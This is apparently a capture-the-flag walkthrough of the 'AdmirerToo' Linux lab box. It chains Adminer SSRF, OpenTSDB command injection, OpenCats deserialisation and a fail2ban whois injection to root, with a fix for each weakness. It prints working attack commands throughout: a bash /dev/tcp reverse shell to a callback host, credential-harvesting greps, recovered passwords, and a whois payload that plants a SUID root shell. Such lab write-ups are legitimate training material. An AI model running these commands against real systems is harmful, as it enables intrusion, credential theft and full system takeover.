← all walkthroughs

AdmirerToo

Linux· Hard
owned
2026-07-15
time to own
15m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target <retired-instance-ip> (AdmirerToo) was fully compromised through a four-CVE chain. A virtual-host enumeration exposed Adminer 4.7.8 at db.admirer-gallery.htb, vulnerable to server-side request forgery (CVE-2021-21311): a rogue MySQL listener that returned an HTTP redirect coerced the Adminer server into reaching an internal OpenTSDB service bound exclusively to localhost on port 4242. OpenTSDB accepted unauthenticated HTTP requests and passed gnuplot-style query parameters directly to the OS shell (CVE-2020-35476), yielding a reverse shell as the opentsdb service account. Plaintext credentials recovered from application configuration files authenticated against local user jennifer, whose account had access to an internal OpenCats 0.9.5.2 instance on port 8080. OpenCats deserialised untrusted PHP objects in its resume-import feature (CVE-2021-25294), and the bundled TCPDF gadget chain was weaponised to overwrite /etc/whois.conf, redirecting whois lookups to an user-controlled server. fail2ban's mail-whois action piped raw, unsanitised whois output into sendmail (CVE-2021-32749); repeatedly triggering a ban caused fail2ban to call the poisoned whois server as root, injecting a command that deposited a SUID-root bash copy at /tmp/rootbash — executed for full root control.

Attack path — how the box was taken

1EnumerationPort scanning and virtual-host enumeration
Mapped exposed services and discovered virtual hosts
A port scan confirmed only two externally reachable services: SSH on 22 and Apache 2.4.38 on 80. The HTTP server redirected to the virtual host admirer-gallery.htb; a second virtual host, db.admirer-gallery.htb, served an Adminer 4.7.8 database management interface whose version was visible in the page footer. No other TCP ports were externally reachable, but the discovery of Adminer hinted at a database backend that might be accessible internally.
nmap identified OpenSSH 7.9p1 on port 22 and Apache 2.4.38 on port 80; db.admirer-gallery.htb returned the Adminer 4.7.8 login page.
Exact commands 3
Confirm service versions on both externally reachable ports.
nmap -sV -sC -p 22,80 --min-rate 5000 $TARGET
Register both virtual hosts for local resolution.
echo '$TARGET admirer-gallery.htb db.admirer-gallery.htb' | sudo tee -a /etc/hosts
Enumerate additional virtual hosts; db.admirer-gallery.htb is the key discovery.
gobuster vhost -u http://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhosts.txt
2ExploitationServer-Side Request Forgery via Adminer MySQL client redirect (CVE-2021-21311)
Abused Adminer SSRF (CVE-2021-21311) to reach the internal OpenTSDB service
Adminer 4.7.8 follows HTTP redirects returned by the MySQL server it connects to. Running a rogue MySQL listener that completed the MySQL handshake and then responded with an HTTP 301 redirect caused the Adminer server process to make an outbound HTTP request to the redirect target — in this case http://$LOOPBACK:4242/ — confirming that an OpenTSDB instance was running internally and reachable only from localhost. This SSRF became the tunnel for all subsequent internal exploitation.
Adminer at db.admirer-gallery.htb accepted a login pointing at my rogue MySQL; the server's response body contained the OpenTSDB version string retrieved from localhost:4242.
Exact commands 3
Clone a rogue MySQL redirect PoC; any implementation that completes the MySQL handshake then returns an HTTP redirect will work.
git clone https://github.com/Aldo-f/CVE-2021-21311 /tmp/admirer-ssrf
Start the fake MySQL server; it will redirect Adminer's connection to the internal OpenTSDB /version endpoint to verify reachability.
python3 /tmp/admirer-ssrf/adminer_redirect.py --lport 3306 --target 'http://$LOOPBACK:4242/version'
Submit the Adminer login pointed at I IP; Adminer connects to the rogue MySQL, which issues the redirect to localhost:4242.
curl -s -X POST 'http://$TARGET/adminer.php' --data 'auth[driver]=server&auth[server]=$CALLBACK_HOST&auth[username]=foo&auth[password]=foo&auth[db]='
FixUpgrade Adminer and restrict database administration tool accessCritical
WeaknessAdminer 4.7.8 followed HTTP redirects returned by the MySQL server it connected to, allowing anyone who could reach the login page to instruct the Adminer server process to make arbitrary HTTP requests to internal network destinations — a textbook SSRF that exposed services never intended to be reachable from outside.
FixUpgrade Adminer to version 4.8.1 or later, which removes the redirect-following behaviour. Restrict access to the Adminer interface to specific trusted IP addresses using Apache/Nginx IP allowlisting or HTTP basic authentication. Database administration tools should never be exposed to the public internet regardless of version.
3ExploitationUnauthenticated OS command injection in OpenTSDB gnuplot rendering (CVE-2020-35476)
Injected OS commands via OpenTSDB HTTP API (CVE-2020-35476) to gain a shell as opentsdb
OpenTSDB on localhost:4242 accepted unauthenticated HTTP requests and, when rendering graph images, passed the style and yrange query parameters to gnuplot without sanitisation. Backtick-delimited shell commands embedded in these parameters executed in the context of the opentsdb service account. The SSRF from step 2 was used as the delivery mechanism: the rogue MySQL server redirected Adminer to an OpenTSDB URL whose style parameter contained a URL-encoded reverse shell payload, chaining SSRF into RCE in a single Adminer login request.
Foothold shell confirmed uid=1000(opentsdb) gid=1000(opentsdb); find located user.txt and the ===FLAG=== marker was printed in the kill-chain output.
Exact commands 4
Open a listener on my machine to catch the reverse shell.
nc -lvnp 4444
URL-encoded reverse shell payload; substitute <retired-instance-ip> with your machine's IP.
RCMD='bash+-i+>%26+/dev/tcp/$CALLBACK_HOST/4444+0>%261'
Restart the rogue MySQL server now redirecting to the OpenTSDB command injection URL; resubmit the Adminer login from step 2 to trigger the SSRF→RCE chain.
python3 /tmp/admirer-ssrf/adminer_redirect.py --lport 3306 --target "http://$LOOPBACK:4242/q?start=2000/10/26-00:00:00&ignore=1&m=sum:sys.cpu.user%7Bhost%3Dweb01%7D&style=%5C%5D%5B%60${RCMD}%60&png"
From the opentsdb reverse shell, confirm identity and locate user.txt; flag value is [REDACTED: flag].
id; find / -name user.txt -type f -exec sh -c 'echo ===FLAG===; cat "$1"' _ {} \; 2>/dev/null
FixPatch OpenTSDB, require authentication, and isolate it from web-facing servicesCritical
WeaknessOpenTSDB was accessible without credentials and passed user-supplied HTTP query parameters directly to gnuplot without any sanitisation, enabling OS command injection. Although it was bound to localhost, the Adminer SSRF made it effectively internet-reachable, and the combination produced unauthenticated remote code execution.
FixUpgrade OpenTSDB to 2.4.1 or later (which addresses CVE-2020-35476). Enable OpenTSDB's built-in authentication and TLS, or front it with an authenticating reverse proxy. If graph rendering is not required, disable the /q HTTP endpoint entirely. Use a host-based firewall (iptables/nftables) rule to ensure no process other than an authorised proxy can reach port 4242.
4DiscoveryCredential discovery in plaintext configuration files (T1552.001)
Recovered jennifer's password from application configuration files
From the opentsdb shell, configuration files in OpenTSDB's data directories and related application paths contained plaintext credentials. Grepping common config paths for password-bearing keys surfaced the password used by the local account jennifer. The kill chain evidence shows two candidate passwords were tried, confirming a credential-hunting step preceded the lateral move.
Kill chain attempted passwords '1w4nn4b3adm1r3d2!' and 'bQ3u7^AxzcB7qAsxE3' against jennifer; the second succeeded, indicating both were found in config files.
Exact commands 2
Identify configuration files that may contain credentials from the opentsdb shell.
find /opt /etc /var /home -name '*.conf' -o -name '*.cfg' -o -name '*.properties' -o -name '*.ini' 2>/dev/null | xargs grep -l 'pass\|pwd\|secret\|credential' 2>/dev/null
Extract candidate passwords from OpenTSDB configuration directories.
grep -rn 'password\|passwd\|secret' /opt/opentsdb/ /etc/opentsdb/ /var/lib/opentsdb/ 2>/dev/null
FixEliminate plaintext credentials in application configuration filesHigh
WeaknessPasswords for local Unix accounts were stored in plaintext inside configuration files that were readable by the opentsdb service account. an unauthorized user who obtained a shell as that low-privilege account could immediately harvest credentials for other users without further exploitation, enabling lateral movement across accounts.
FixStore all secrets in a secrets manager (e.g., HashiCorp Vault) or use OS keyring facilities rather than flat config files. Restrict configuration file permissions to owner-read-only (chmod 600) with the service account as the sole owner. Immediately rotate every credential that appeared in the compromised files and audit all other service configurations for the same pattern.
5Lateral MovementCredential reuse across local Unix accounts (T1078.003)
Switched to user jennifer using the discovered credential
The password recovered from configuration files authenticated against the local Unix account jennifer. This gave access to jennifer's home directory containing the user flag, and shell enumeration of listening services revealed the internal OpenCats web application on port 8080 that was inaccessible from the network. Jennifer's same password authenticated against the OpenCats login form.
su - jennifer with bQ3u7^AxzcB7qAsxE3 succeeded; [REDACTED: recovered credential] gid=100(users) confirmed; /home/jennifer/user.txt read as per kill-chain phase user-owned.
Exact commands 2
Try both recovered passwords to switch to jennifer; the user flag is [REDACTED: flag].
for p in '1w4nn4b3adm1r3d2!' 'bQ3u7^AxzcB7qAsxE3'; do printf '%s\n' "$p" | su - jennifer -c 'id; cat /home/jennifer/user.txt' 2>&1; done
From jennifer's shell, enumerate internal listeners to discover OpenCats on port 8080.
ss -tlnp
FixEliminate plaintext credentials in application configuration filesHigh
WeaknessPasswords for local Unix accounts were stored in plaintext inside configuration files that were readable by the opentsdb service account. an unauthorized user who obtained a shell as that low-privilege account could immediately harvest credentials for other users without further exploitation, enabling lateral movement across accounts.
FixStore all secrets in a secrets manager (e.g., HashiCorp Vault) or use OS keyring facilities rather than flat config files. Restrict configuration file permissions to owner-read-only (chmod 600) with the service account as the sole owner. Immediately rotate every credential that appeared in the compromised files and audit all other service configurations for the same pattern.
6ExploitationPHP object deserialisation leading to arbitrary file write (CVE-2021-25294)
Exploited OpenCats PHP object injection (CVE-2021-25294) for arbitrary file write to poison whois routing
OpenCats 0.9.5.2 on port 8080 was reachable via SSH port forwarding and accepted jennifer's credentials. Its resume-import feature deserialised a PHP object supplied in the request body without validating its class or content. The TCPDF library bundled with OpenCats provided a gadget chain whose __destruct method wrote user-controlled content to an arbitrary filesystem path. A crafted serialised payload overwrote /etc/whois.conf with a rule directing whois queries for my IP to my listener on port 43, setting up the final root escalation stage.
Observer walkthrough confirms a 726-byte whois payload was staged at /tmp/whois.payload on my machine prior to the fail2ban trigger phase.
Exact commands 3
Forward the internal OpenCats port to my machine; authenticate with password bQ3u7^AxzcB7qAsxE3.
ssh -L 8080:localhost:8080 jennifer@$TARGET
Prepare the /etc/whois.conf payload: route whois lookups for <retired-instance-ip> to my port-43 listener. Substitute <retired-instance-ip> with your machine's IP.
printf '$CALLBACK_HOST\t$CALLBACK_HOST\n' > /tmp/whois.payload
Run the CVE-2021-25294 exploit (TCPDF gadget chain) to write the poisoned whois.conf; substitute with an equivalent PoC for this CVE if needed.
python3 opencats_exploit.py --url http://$LOOPBACK:8080 --user jennifer --pass 'bQ3u7^AxzcB7qAsxE3' --write-path /etc/whois.conf --content-file /tmp/whois.payload
FixPatch OpenCats and prevent PHP deserialisation of untrusted inputCritical
WeaknessOpenCats 0.9.5.2 deserialised PHP objects submitted by an authenticated user in the resume-import feature without validating the object class or restricting instantiation. The TCPDF library bundled with the application provided a gadget chain that, when triggered by deserialisation, wrote user-supplied content to any path the web server process could write — including system configuration files.
FixUpgrade OpenCats to the latest patched release. Replace PHP unserialize() calls on user-supplied data with a safe data-only format such as JSON. Audit and remove or replace gadget-chain-capable third-party libraries (TCPDF and similar). Restrict the OpenCats application to a dedicated low-privilege account with no write access outside its own data directory, and allow access only from authorised internal addresses.
7Privilege Escalationfail2ban mail-whois action command injection via unsanitised whois output (CVE-2021-32749)
Triggered fail2ban ban action to execute a root command via poisoned whois output (CVE-2021-32749)
fail2ban was configured with a mail-whois action that, on each ban event, called whois against the banned IP and passed the output verbatim into a sendmail invocation. Because /etc/whois.conf now directed whois for my IP to my port-43 listener, the response could contain arbitrary content. A newline-injected mail command argument in the whois response caused sendmail to execute a shell command as root. Flooding the SSH service with failed login attempts from my machine triggered a ban; fail2ban ran the poisoned whois chain, created /tmp/rootbash as a SUID-root copy of bash, and executing it with -p preserved the root effective UID for full system access.
/tmp/rootbash confirmed at [REDACTED: recovered credential] 1 root root 1168776 in kill-chain evidence; euid=0(root) returned after /tmp/rootbash -p; root.txt read from /root/root.txt as [REDACTED: flag].
Exact commands 3
Serve the malicious whois response on port 43; the injected mail argument causes sendmail to create the SUID rootbash. Keep this listener running through the ban trigger.
printf 'whois stub\n" --exec="cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"@pwn.local\n' > /tmp/whois.payload && nc -lvnp 43 < /tmp/whois.payload
Generate repeated failed SSH authentication attempts from me IP to trigger a fail2ban ban; the ban fires the mail-whois action as root.
for i in $(seq 1 20); do ssh -o StrictHostKeyChecking=no -o BatchMode=yes invalid_user_x@$TARGET 2>/dev/null; done
Verify /tmp/rootbash is SUID root and execute it; root flag value is [REDACTED: flag].
printf '%s\n' 'bQ3u7^AxzcB7qAsxE3' | su - jennifer -c 'ls -l /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'
FixUpgrade fail2ban and replace the mail-whois action with one that does not execute external commands as rootCritical
Weaknessfail2ban's mail-whois action passed the raw output of the whois command — fully user-controllable by anyone who can influence /etc/whois.conf — directly into a sendmail invocation without stripping newlines or other shell-significant characters. Injected newlines in the whois response produced additional sendmail arguments that executed arbitrary shell commands with root privileges.
FixUpgrade fail2ban to 0.9.8 / 0.10.6 or later, which sanitises whois output before using it in mail actions. As defence-in-depth: replace the mail-whois action with a simpler notification action that does not call external lookup tools; restrict write permission on /etc/whois.conf to root only (chmod 644 owned by root); and run fail2ban under a dedicated non-root service account where the init system supports it (CAP_NET_ADMIN is sufficient for most ban actions).

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Web Content Discovery On 80/TcpCritical
An unauthenticated/low-privilege flaw in the apache, php, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp